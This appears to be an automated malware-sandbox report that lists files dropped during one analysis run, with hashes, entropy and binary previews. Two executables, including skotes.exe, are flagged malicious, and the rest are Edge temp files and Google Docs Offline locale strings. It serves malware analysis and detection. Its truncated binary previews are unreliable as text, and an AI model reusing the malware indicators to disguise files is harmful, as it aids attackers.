Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\1009318001\3de946c107.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1828864
Entropy (8bit):	7.948397061620032
Encrypted:	false
SSDEEP:	49152:2Hc80oF0nW2dPTrxN59Fv9jxNmRyJOqYxjc:cF0nW2PnxN59FZH3
MD5:	D8E74ACF219910B5202A9B4F1DFDE49F
SHA1:	33C3C2A7540164C84D4C5DAD7AC9A1724F1AD623
SHA-256:	C6ED5B0C3B1661E82FD4159DE963944DBE68380FFF5DB681D55BB5E9FBDE3D70
SHA-512:	D6BCF32B78F0C9923E14E73FECEC254FACA29B009142012D69FE1E44C20BA29B677AFE4AE8A449E1A567794A5DA1C9014814023230DD8F92C1182DBE00DC9E30
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 39%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....Eg..............................H...........@...........................I...........@.................................\...p....p.............................................................................................................. . .`.......\..................@....rsrc........p.......l..............@....idata .............n..............@... ..)..........p..............@...dmrorfjy.P...p/..P...r..............@...wppahznb......H.....................@....taggant.0....H.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\3a5e29a1-7f8c-4b14-9a95-514d18e8a7cc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\4b79d1d3-d6c7-47fa-94cf-6d05d5200842.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 41924
Category:	dropped
Size (bytes):	76314
Entropy (8bit):	7.996159328201069
Encrypted:	true
SSDEEP:	1536:fFZ2cHkObrS5Vvm808scZeEzFrSpzBUl4MZIGM/iysAGz88:fbb1UdS8scZNzFrMa4M+lKqeZ
MD5:	703D592C85D2790D89047C1614A54B4F
SHA1:	0C08F096AD544A63ACE8AA1AA738CC0B374F2A23
SHA-256:	A01513000969824FA1761DCDD77F5EE9B6FD958B4E9596522CEBC47BB69DF194
SHA-512:	D0C0F0B0A060D3DD52942556615B93971292E1F0C10555681CB6E4857E605EB2CFBACBADD263FB954D4062A63BBCCCB4B514428FDB95F6C0C94CC221B28B1ED5
Malicious:	false
Preview:	...........}io.8..w... @..S..=.X.v.^$..e..0..r.ek.,.+..x..._..$."..:.....]E>7..x..z...?..7t.s.....!/.."..}../....u...^..\|{...B...]....q....Znh....;B.u....r.z..._.w~p.}<......B.....}k.........a....ur......:.E.~..f7!.....c....V.Z.."..._Q..m....?..q.......{;.V.g.".i..<.r=.9.>...}^.Ykw....\,. .. .<YkL........C...........m.'....0O....g.?.8C............x.........=YO.......`.<....o..=..he..AaHy@g....z.)C..G....[.@.........x.......O...c..H..5..}..5$?.:....7g.....M~....4....u..P...c...S..w.(.2N['......&..v...."p.#..Z.F.<'._........&~CA......Z....p......>.o......m.(....a_%F.}r\|\|z.m...1..8....p.-..4'.O....S0..f<.n...KP<.fd.....-w[B..%....Z!..H...C..CB+J)Ef.t[;.1.?.Q.j{.....*.y...>Y.......Me..Vx!.._...(>.......>.j.%.(..%]...E...~.p......tp.P.3........W>V&.J.s.]..../~.^.....u.X.1.J.6..8.^...Q.a8".z}....\|.V.M".+..y.-...r..b..'k..9..~.@g3.:..n....M....s.T.#\|.Vd.../..K<...^...p......X.5..6..F..".tO...........o}......}...D..`o....<..(....?..y.JQ.....F01a

C:\Users\user\AppData\Local\Temp\6a319d9a-2ada-4f2e-866d-6f33b7d8fd69.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\8a8fafff-9586-44b5-8eb1-1a807be3cb05.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\8b6f626e-3e13-4e8b-99b5-e8703c9389b9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEI5:l81Lel7E6lEMVo/S01fDpWmEgD
MD5:	788DF0376CE061534448AA17288FEA95
SHA1:	C3B9285574587B3D1950EE4A8D64145E93842AEB
SHA-256:	B7FB1D3C27E04785757E013EC1AC4B1551D862ACD86F6888217AB82E642882A5
SHA-512:	3AA9C1AA00060753422650BBFE58EEEA308DA018605A6C5287788C3E2909BE876367F83B541E1D05FE33F284741250706339010571D2E2D153A5C5A107D35001
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\DocumentsFBGIDHCAAK.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1921024
Entropy (8bit):	7.952040329967331
Encrypted:	false
SSDEEP:	49152:ZFRd69fbHOJGslqB1ja07WkIWLHMP4fVaN9MoVoWZSw:29TuJ/l8G07WkIWL+4QS4
MD5:	F1D8B74CC714267516F750BEB7E3439E
SHA1:	DAD2568821BC466E1FF3C63E27409BF4504B6B47
SHA-256:	18F61BF8547CAFC9F30BFE9C68289DC575ACC48D9C0BCBF77CD5168FED92CA4A
SHA-512:	3CBAE8BF40B8B94319764ABFD643240641DD3ACCECAEC756A50B566B23C12533862595B2AA0BBBB9B8E6387BDA067DFC05A118C16CCE94BAD1B09F9DF8EC488B
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................L...........@..........................0L.....d.....@.................................W...k.......D.....................K...............................K..................................................... . ............................@....rsrc...D...........................@....idata ............................@... ..+.........................@...pcmamdpe.@....1..4..................@...tewptuka......K......*..............@....taggant.0....L.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\b19872f5-5595-49e0-b93b-0555329b8bed.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1554858
Entropy (8bit):	7.992753387413811
Encrypted:	true
SSDEEP:	24576:rAPoqX3dr41TevfIw8NIpL0e7HsF8tHS1D5VDIIehLNcf+2yQY3go5JVFy9+jRpE:EPoqndruQfQ257aAS1D5VDaf0YXfVFyr
MD5:	87CB4A12355B73B0004D6278EE09878E
SHA1:	367972091E4E5FAD7AEB47310FCC7091CD24F577
SHA-256:	95620A925DE06A636987F00AF7DF378EA64DD660A1F75F87B0D4C31A28F1A2FD
SHA-512:	0AEA84FD9DB713F9882591545EC268C2BE3E0DF7E3039FC8FB8201B13A5F5A049FBEC4D37D44DC6258FD2093A05199111D3AB80FC67424C1B70125204C609E5A
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....bKGD............./IDATX..W}l.E..3..w.+..H.\|...D.%..M.Z5.I..&.Q....W.%.P..!.&.Q.."..0...H.Z.".....>Z....A.......m.....1..........{...A........<.-a.27j..... '.A.D...kVI.B..A...}..o:/...h<..E....M2r.0.PP<j.j..e]..>lh.(..?u.....KqB.7CP..8.D.a.$.%..??.iG.=+.~..2FH...\am;}...n......h~.H...........#KvW..w;.#.dc..1.JW.2...(...nu.Q0....,..H0..1)..[....^.P..r..;.`{.d........%...6.......@.."O.+"&zSym.,.Nn..L..pj.&K.Z.....yH=..R.P?.i..Td...Sb.%o.....w..R`.sOJIjQ.>...i.v....A.CD\|bfx....).o.g.....I....6...!....<.t\|"....PO<".:/+..>1.......R.o...@.../"y.",S.@...B..h...Z...P.>.......+...:z........7,:.....\|)C.p.H+`i..e).8...zA".$:Z.o.........j]].....K:.....ZI.. ....~..&........:]...w.md./zkT.Z..F........,."7\|.\|u..3....G.../7.oJ...*...7..~l......PY.HQ>..`$........2.{.....>( I,...h..I...N.y}=..VN.R.....IH..kp.V..\|Io.+k...Eb.ES>.E2......Z.._.I .q0..0.......F.&D.(D1.Q+.M...!z9.....#xV.p....nH....7....\t.w"`F...-

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	5.398277283911306
Encrypted:	false
SSDEEP:	48:Y4MfJVe5wMd5wMe07cIF5Io0MY5kU2A0OpJ5xnL0MotJ5VovUx0LQ5AJ0A05M:JIVuwEw5MUFZLBQLt3RM
MD5:	0B9F8E9719C7E9713C3C2C85B11CB5C4
SHA1:	509E90B59BB41144AB9AAC88ECB3E5CD312E827A
SHA-256:	C4070F8B83678845956837ED4473D640FC22F48E69C7EEAF36F918C2297C5FEF
SHA-512:	4AEDCB88B00FB3B33FF6E2373BC81421A994FF77CE109B56FE348C4CF35069D99DCB73FED4571242528867FE22B442BE233674903E508E3B496202D695D57E39
Malicious:	false
Preview:	{"logTime": "1005/061810", "correlationVector":"0kV+/vRB8ay0a3Cue7mk6o","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"AFo3IfjRT+3l4ojiXpMdNH","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"838E3BF9A44F456CB4AD62AC737EDD15","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063233", "correlationVector":"2N8fwTcZh6EtTfQ8o4+6aX","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063233", "correlationVector":"5ADEBA42608E4CC9A1FACA719F284CF9","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063346", "correlationVector":"xp/hBMCdVPtUIxZHIviv/x","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063347", "correlationVector":"BF0B9E58C0CC45ED9AB5D0371131E69A","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/064305", "correlationVector":"ONVjsWDap1LyjIRdxsqPGs","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/064305", "correlationVector":"82E52491

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\8a8fafff-9586-44b5-8eb1-1a807be3cb05.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
